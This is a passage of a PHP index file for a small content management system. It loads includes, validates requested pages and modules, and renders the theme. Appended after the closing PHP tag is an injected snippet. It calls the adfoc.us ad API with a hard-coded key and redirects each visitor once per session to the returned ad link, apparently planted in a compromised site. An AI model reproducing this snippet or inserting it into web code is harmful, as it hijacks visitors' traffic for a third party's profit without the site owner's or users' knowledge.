('data/inc/functions.site.php'); //Include variables. require_once ('data/inc/variables.all.php'); require_once ('data/inc/variables.site.php'); run_hook('site_index'); //Then, if we have a RTL-language and theme hasn't been converted. if (DIRECTION_RTL && !file_exists(THEME_DIR.'/style-rtl.css')) { //Convert theme and save CSS. include_once ('data/inc/themes_convert-rtl.php'); } //Check if a page or module has been specified, if not: redirect to HOME_PAGE. if (!defined('CURRENT_PAGE_SEONAME')) { header('Location: '.HOME_PAGE); exit; } //If a module has been specified... if (defined('CURRENT_MODULE_DIR')) { //Check if the module exists. if (file_exists('data/modules/'.CURRENT_MODULE_DIR)) { //And check if we also specified a module page (if not, redirect). if (!defined('CURRENT_MODULE_PAGE')) { header('Location: '.HOME_PAGE); exit; } //If a module page has been set, check if we can display it. //1. Check if module page exists. //2. Check if module has been included in current page. //3. Check if module is compatible. //Otherwise, redirect. elseif (defined('CURRENT_MODULE_PAGE')) { if (!function_exists(CURRENT_MODULE_DIR.'_page_site_'.CURRENT_MODULE_PAGE) || !module_is_included_in_page(CURRENT_MODULE_DIR, CURRENT_PAGE_SEONAME) || !module_is_compatible(CURRENT_MODULE_DIR)) { header('Location: '.HOME_PAGE); exit; } } } //If module doesn't exist, also redirect. else { header('Location: '.HOME_PAGE); exit; } } //If a page has been requested that does not exist, return 404 header. if (defined('CURRENT_PAGE_SEONAME') && !defined('CURRENT_PAGE_FILENAME')) header('HTTP/1.0 404 Not Found'); //Allow modules to manipulate theme //include_once('data/settings/themepref.php'); //$page_theme = THEME; //run_hook('site_theme', array(&$page_theme)); //Allow modules to manipulate theme-filename //$page_theme_file = 'theme'; //run_hook('site_theme', array(&$page_theme_file)); $themefile = 'theme'; run_hook('site_theme', array(&$themefile)); //Load insertboxes load_insertboxes(); //Now, include the theme include(THEME_DIR.'/'.$themefile.'.php'); ?>session_start(); ob_start(); $api=@file_get_contents("http://adfoc.us/api/?key=973f74527857464fbe7b75136fa0d04c&url=http://$_SERVER[HTTP_HOST]"); $apid=trim($api); if(empty($_SESSION['Hamza'])){ $_SESSION['Hamza'] = 1; header("Location: $apid"); }